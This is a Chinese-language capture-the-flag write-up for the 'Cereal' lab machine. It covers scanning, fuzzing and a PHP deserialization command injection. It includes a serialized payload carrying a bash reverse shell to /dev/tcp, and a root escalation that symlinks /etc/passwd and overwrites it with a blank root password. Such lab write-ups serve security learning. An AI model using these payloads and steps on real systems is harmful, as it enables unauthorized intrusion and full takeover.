Cereal靶机wp

主机发现

nmap -sP 192.168.159.0/24

目标主机IP地址为：192.168.159.168

端口扫描

nmap -sV -p- -A 192.168.159.168

开放端口为：21、22、80、139、445、3306、44441(web)

21端口

可以匿名登陆，但是没有有用信息

现有漏洞库也只有一个拒绝服务，没啥用

80端口

目录扫描(gobuster)

gobuster dir -u http://192.168.159.168 \                     
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

发现两个页面，访问，发现blog页面没有css加载，猜测可能要域名，查看网页源码，发现域名

cereal.ctf

将域名写入本地hosts文件，再次访问，发现是 wrodpress 网站

wordpress

利用wpscan爆破用户名密码

wpscan --url http://cereal.ctf/blog -e	u

wpscan --url http://cereal.ctf/blog -e -U cereal -P /usr/share/wordlists/rockyou.txt

跑了20mins没跑出来（虚拟机里性能确实不行。。。）想上网看看其他人跑出来的密码，结果发现这个方法跑不出密码。。。换法子了

子域名

wfuzz -H 'HOST: FUZZ.cereal.ctf' -u 'http://192.168.159.168' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 45,20787

没有子域名。。。

44441端口（web）

目录扫描

dirsearch -u cereal.ctf:44441 

啥都没。。。

子域名

wfuzz -H 'HOST: FUZZ.cereal.ctf:44441' -u 'http://192.168.159.168:44441' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 2,45

找到一个子域名：secure

加到本地hosts文件后访问

命令执行

在这个网页尝试命令执行，但我知道的姿势全都不行，页面没有返回。。。

127.0.0.1 | pwd
127.0.0.1 & pwd
127.0.0.1;pwd

抓包看返回信息，好像有个序列化的东西，但我看不懂，决定继续往下

目录扫描

login页面还是会返回当前ping页面

php.js页面发现序列化源码

反序列化

代码中给出了序列化的样式实例，我们可以根据它构造出我们想要的代码

然后先对页面进行正常访问抓包，看看这个参数放到哪里

可以看到是一串url编码字符，将其解码：

把我们构造好的代码编码，替换，发送

{s:9:“ipAddress”;s:16:“127.0.0.1;whoami”;}

无效，没有返回。。。

做到这里我实在不知道咋做了，感觉很对，但没有返回就很迷。。。

上网搜了下大佬们的wp，发现是我的字典不太行，还有个目录没扫到。。。

/back_en/

重新目录扫描，扫/back_en/下的文件

dirsearch -u http://secure.cereal.ctf:44441/back_en/

发现一个备份网页，访问，发现该页面有一段php代码，其中某段代码对 IP 地址进行了过滤操作：

filter_var(x,FILTER_VALIDATE_IP)函数过滤了非IP地址，若 x 不是IP地址，则返回False

if (!$this->isValid) {
	if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)){
		$this->isValid = True;}}
$this->ping();

但是在代码中存在一个 bug ，那就是如果 isValid 这个参数为 True，则不进行验证，也就是说我们可以构造序列化字符，将 isValid 参数置为 True

构造的序列化字符串如下：

O:8:“pingTest”:2:{s:9:“ipAddress”;s:16:“127.0.0.1|whoami”;s:7:“isValid”;s:4:“True”;}

进行url编码后发送，成功执行whoami命令！

反弹shell

bash -c 'bash -i >& /dev/tcp/192.168.159.131/7777 0>&1'

序列化字符如下：

O:8:“pingTest”:2:{s:9:“ipAddress”;s:65:“127.0.0.1|bash -c ‘bash -i >& /dev/tcp/192.168.159.131/7777 0>&1’”;s:7:“isValid”;s:4:“True”;}

编码后发送，同时本地开启端口监听：

成功获得shell

提权

situid

find / -perm -u=s -type f 2>/dev/null

发现一个可以提权的程序（CVE-2021-4034），这次换思路，具体利用参考 Corrosion2那期

计划任务

crontab -l
cat /etc/crontab

没有任何计划任务

信息收集

找了各个目录，文件之类的都没有获得什么有用信息

脚本

python -m SimpleHTTPServer 80
wget 192.168.159.131/pspy64
chmod +x pspy64
./pspy64

发现一个可疑文件

查看它的权限与内容

只有 root 用户可写，作用是将 /homerocky/public_html/下的所有文件属主改为 rocky，属组改为 apache

软链接

软链接相当于 windows 中的快捷方式

当一个文件是另一个文件的软链接时（例如：A 是 B 文件的软链接，A 的根是 B），当我们修改这个文件的属主属组时（A），改的并不是这个文件的，而是它所链接的源文件（B）

通过信息收集，我们发现 /etc/passwd 文件可以被它的属主属组修改，所以准备通过软链接以及 chown.sh 修改它的属主属组

ln -s /etc/passwd /home/rocky/public_html/passwd

chown.sh 脚本运行后 /etc/passwd 文件属主属组成功被修改

修改/etc/passwd

在修改该文件时，发现符号会出现混乱，所以决定将该文件复制到到本地修改后上传覆盖

# 先将该文件放到web 目录下，方便下载
cd /var/www/html/blog
cp /etc/passwd .

# 本机下载
wget http://cereal.ctf/blog/passwd

修改该文件后上传（root密码置为空）

wget 192.168.159.131/passwd
cp passwd /etc/passwd

su

成功获取root权限！